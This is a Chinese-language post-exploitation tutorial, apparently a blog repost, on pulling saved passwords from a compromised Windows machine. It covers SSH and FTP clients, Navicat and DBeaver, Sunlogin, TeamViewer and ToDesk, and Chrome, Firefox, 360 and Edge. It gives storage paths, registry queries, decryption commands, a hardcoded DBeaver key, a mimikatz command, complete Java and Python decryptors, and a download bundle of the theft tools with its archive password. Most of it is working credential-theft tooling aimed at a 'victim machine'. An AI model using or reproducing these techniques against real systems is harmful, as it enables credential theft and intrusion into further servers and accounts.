目录导航
xshell获取密码,SecureCRT获取密码,MobaXterm获取密码,finalshell获取密码,Winscp获取密码,FileZilla获取密码,Navicat获取密码,DBeaver获取密码,向日葵获取密码,TeamViewer获取密码,ToDesk获取密码,Chrome获取密码,firefox获取密码,360浏览器获取密码,Microsoft Edge获取密码.
0x00 前言
在拿到系统权限后,系统中可能存在连接其他服务器的软件、数据库或浏览器等,这时候就需要去解密像ssh这类的连接软件,所有这里我对大部分软件的密码获取做一下总结
0x01 网络传输协议工具类
xshell
Xshell 是一个强大的安全终端模拟软件,它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 协议。
先找到xshell保存密码的位置,点打开会话文件夹
其中.xsh里面就是保存的链接信息包括账户密码
前提是登录的时候必须勾选了记住账户和密码
离线解密工具下载:
https://github.com/HyperSine/how-does-Xmanager-encrypt-password
python XShellCryptoHelper.py -d -key 123123 zvHVi7hm/Nsk6y2BGNVpTNSvXlPRN+/1P+aQKhFF5XJ3l2
123132为主控密码在文件导出的时候设置 后面为.xsh文件中的password字段类容
另一种解法 未设置主控密码
python XShellCryptoHelper.py -d -user aaaa -sid S-1-5-21-4217108860-1001 zvHVi7hm/Nsk6y2BGNVpTNSvXlPRN+/1P+aQKhFF5XJ3l2
whoami /user 查看user和sid
使用在线工具
https://github.com/uknowsec/SharpDecryptPwd
该工具只支持在线解密的方式,就是必须要将工具放到目标机器上运行。
xftp一样的
SecureCRT
SecureCRT和xshell一样,很多运维人员会将SSH的账号密码保存在上面。
前提时管理员登录时勾选了记住密码
SecureCRT密码密码存放位置
C:\Users\oneseven\AppData\Roaming\VanDyke\Config\Sessions
打开后 密码是加密的 我们需要对其进行解密
SecureCRT 离线解密工具:
https://github.com/HyperSine/how-does-SecureCRT-encrypt-password
python SecureCRTCipher.py dec -v2 <密码>
MobaXterm
MobaXterm是一款远程终端控制软件,集串口,SSH远程登录和FTP传输三合一的工具,便携版操作简单,使用非常方便。
连接过后会在当前目录生成一个.ini文件
其中就储存着我们登录的账户密码
离线工具下载:
https://github.com/HyperSine/how-does-MobaXterm-encrypt-password
使用命令
python MobaXtermCipher.py dec -sp <ini文件中的SessionP> <加密的Passwords>
finalshell
FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求
连接信息存储在C:\Users\oneseven\AppData\Local\finalshell\conn\目录下 有多少条连接就会有多少个xxx_connect_config.json文件
用户登录时必须勾选记住密码,否则不会在xxx_connect_config.json文件中保存密码
离线解密:别人已经写好了的java代码
FinalShellDecodePass.java
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
public class FinalShellDecodePass {
public static void main(String[] args)throws Exception {
System.out.println(decodePass(args[0]));
}
public static byte[] desDecode(byte[] data, byte[] head) throws Exception {
SecureRandom sr = new SecureRandom();
DESKeySpec dks = new DESKeySpec(head);
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, securekey, sr);
return cipher.doFinal(data);
}
public static String decodePass(String data) throws Exception {
if (data == null) {
return null;
} else {
String rs = "";
byte[] buf = Base64.getDecoder().decode(data);
byte[] head = new byte[8];
System.arraycopy(buf, 0, head, 0, head.length);
byte[] d = new byte[buf.length - head.length];
System.arraycopy(buf, head.length, d, 0, d.length);
byte[] bt = desDecode(d, ranDomKey(head));
rs = new String(bt);
return rs;
}
}
static byte[] ranDomKey(byte[] head) {
long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);
Random random = new Random(ks);
int t = head[0];
for(int i = 0; i < t; ++i) {
random.nextLong();
}
long n = random.nextLong();
Random r2 = new Random(n);
long[] ld = new long[]{
(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(bos);
long[] var15 = ld;
int var14 = ld.length;
for(int var13 = 0; var13 < var14; ++var13) {
long l = var15[var13];
try {
dos.writeLong(l);
} catch (IOException var18) {
var18.printStackTrace();
}
}
try {
dos.close();
} catch (IOException var17) {
var17.printStackTrace();
}
byte[] keyData = bos.toByteArray();
keyData = md5(keyData);
return keyData;
}
public static byte[] md5(byte[] data) {
String ret = null;
byte[] res=null;
try {
MessageDigest m;
m = MessageDigest.getInstance("MD5");
m.update(data, 0, data.length);
res=m.digest();
ret = new BigInteger(1, res).toString(16);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return res;
}
}
先进行编译
javac FinalShellDecodePass.java
在运行
java FinalShellDecodePass <password>
其中password就是xxx_connect_config.json文件中的password字段类容
Winscp
一个 Windows 环境下使用的SSH 的开源图形化 SFTP 客户端
解密
密码是保存在注册表中
reg query "HKEY_CURRENT_USER\Software\MartinPrikryl\WinSCP 2\Sessions”
可以看到链接名称,但需要建站点时保存密码
离线工具
https://github.com/anoopengineer/winscppasswd
使用命令
winscppasswd.exe <主机> <用户名> <加密密码>
使用在线工具SharpDecryptPwd可直接获取密码
FileZilla
一款FTP操作类的软件
首先导出记录
导出后是一个xml文件 打开后base64就是密码 直接解密就行
使用在线工具SharpDecryptPwd
0x02 数据库
Navicat
Navicat是一套可创建多个连接的数据库管理工具,用以方便管理 MySQL、Oracle、PostgreSQL、SQLite、SQL Server、MariaDB和/或 MongoDB 等不同类型的数据库,并支持管理某些云数据库,例如阿里云、腾讯云。
连接信息是存在注册表里面
数据库 | 注册表位置 |
MySQL | HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> |
MariaDB | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> |
MicrosoftSQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> |
Oracle | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> |
PostgreSQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> |
SQLite | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name> |
MongoDB | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> |
这里就只测下用mysql举例子, 其他都一样
离线工具:
https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/python3
我们需要的是注册表中的Pwd字段的类容
python NavicatCipher.py dec 5658213B
使用在线工具SharpDecryptPwd进行解密
DBeaver
dbeaver是免费和开源(GPL)为开发人员和数据库管理员通用数据库工具。易用性是该项目的主要目标,是经过精心设计和开发的数据库管理工具。
连接时勾选保存密码到本地
C:\Users\oneseven\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\目录里.json文件中存放着数据库的连接信息和密码,credentials-config.json里是密码但做了加密
离线解密:使用openssl解密,将credentials-config.json文件放入当前目录
openssl aes-128-cbc -d -K babb4a9f774ab853c96c2d653dfe544a -iv 00000000000000000000000000000000 -in credentials-config.json | dd bs=1 skip=16
0x03 远程类
向日葵
日葵远程控制软件是一款免费的集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件
需要获取的为两处,Fastcode:本机识别码 Encry_pwd:本机验证码
配置路径
安装版:
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):
C:\ProgramData\Oray\SunloginClient\config.ini
注意高版本的向日葵配置是放在注册表中
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
使用离线工具:
https://github.com/wafinfo/Sunflower_get_Passwor
输入encry_pwd
使用在线工具SharpDecryptPwd
TeamViewer
TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序,桌面共享和文件传输的简单且快速的解决方案
大多数工具都是去获取进程的句柄找到ID和PASS,也有一部分是从内存中得到的。
使用工具
https://github.com/attackercan/teamviewer-dumper
github上有个项目
https://github.com/ianxtianxt/teamview
就是将tv丢到目标机器然后获取密码
TV_V2.exe在目标上运行会在当前目录生成生成3个文件
然后请运行生成的gps.exe文件之后会生成vtr.txt里面有ID和pass
连接请用windows server然后安装压缩包里的TeamViewer_Setup.exe文件
ToDesk
ToDesk 是一款多平台远程控制软件,支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作。
配置文件在安装目录下的config.ini文件,这里我是默认安装的
C:\Program Files (x86)\ToDesk\config.ini
tempAuthPassEx=7e58d8c6a5d99dc4a6fd80425f1ca5cd8f4d6f9fd7ca49a47820831b0e6953ae6e9fe248645c1d40c7511446e764aac3515b609b2b78
就是临时密码,利用方法很简单
直接将受害机的临时密码复制出来,替换到本机的config.ini文件中,然后重启就可以看到明文密码了
0x04 浏览器类
Chrome
谷歌浏览器Google Chrome将简约的界面设计与先进的技术相融合,让网络浏览变得更快速、安全而且简便。
80版本前后的加密方式不一样,测试用的新版本的
保存的密码有两个
登录账户密码文件位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
cookie存储位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\cookie
浏览历史储存位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\History
加密key的位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Local State
这是一个sql文件可以直接用数据库工具打开,密码还是加密的
直接用mimikat在线获取google密码
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
github上有许多在线项目可解密大部份浏览器这里随便用一个
https://github.com/moonD4rk/HackBrowserData/tree/v0.3.7
根据需求下载,我这是windows直接运行就行
半离线获取
生成exe放目标机器运行 会获得一个masterkey.txt文件
import win32crypt
import os
import json
import base64
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State', "r") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key_w_Cry = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]
print(master_key)
with open("masterkey.txt",'wb') as msf:
msf.write(master_key)
本地运行加上受害机上的masterkey.txt文件和Login Data数据库文件获取密码
import os
import sqlite3
from Crypto.Cipher import AES
def get_master_key():
with open("masterkey.txt",'rb') as msf:
buf = msf.read()
print(buf)
return buf
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
return "Chrome<80"
if __name__ == '__main__':
master_key = get_master_key()
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
print(encrypted_password)
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
print('error')
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
离线获取
http://www.nirsoft.net/utils/chromepass.html
需要三个文件Login Data,Local State和S-1-5-21-xxxx文件
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\oneseven\AppData\Roaming\Microsoft\Protect\S-1-5-21-xxxx
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\ Local State
需要注意的是,要确认两次才会显示出密码
firefox
Firefox 浏览器 选择会保护重要数据的浏览器 没有晦涩难懂的隐私保护政策,更不向广告商预留后门,纯粹是一款闪电般快、不会出卖您的浏览器。
火狐有一个主密码,这里测的是没有主密码的情况下
浏览器保存信息的位置
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release
两个比较关键的文件
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\key4.db C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\logins.json
logins.json的文件类容就是保存的密码,只不过做了加密
使用离线工具
https://github.com/unode/firefox_decrypt
需要注意的是使用的是python9+以上
直接将xxx.default-release文件夹复制到自己的电脑
也可以直接用HackBrowserData解密
360浏览器
360浏览器一般指360安全浏览器。 360安全浏览器(360 Security Browser)是360安全中心推出的一款基于IE和Chromium双内核的浏览器,是世界之窗开发者凤凰工作室和360安全中心合作的产品。
敏感文件位置,assis2.db就是存储着密码的文件
C:\Users\oneseven\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis
还需要MachineGuid
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
离线工具
https://github.com/hayasec/360SafeBrowsergetpass
命令
Safe360Browsergetpass.exe <assis2.db文件位置> <MachineGuid>
Microsoft Edge
Microsoft Edge(简称ME浏览器)是由微软开发的基于 Chromium 开源项目及其他 开源软件的网页浏览器。
win10自带的浏览器,存了两个密码
直接用HackBrowserData解密
工具下载地址:
yunzhongzhuan.com/#sharefile=PcpZNmxF_92825
解压密码:www.ddosi.org
列表:
firefox_decrypt-master.zip
hack-browser-data-windows-64bit.zip
how-does-MobaXterm-encrypt-password-master.zip
how-does-navicat-encrypt-password-master.zip
how-does-SecureCRT-encrypt-password-master.zip
how-does-Xmanager-encrypt-password-master.zip
Safe360Browsergetpass.exe.zip
SharpDecryptPwd-main.zip
teamview-master.zip
teamviewer-dumper-master.zip
winscppasswd-master.zip
转载请注明出处及链接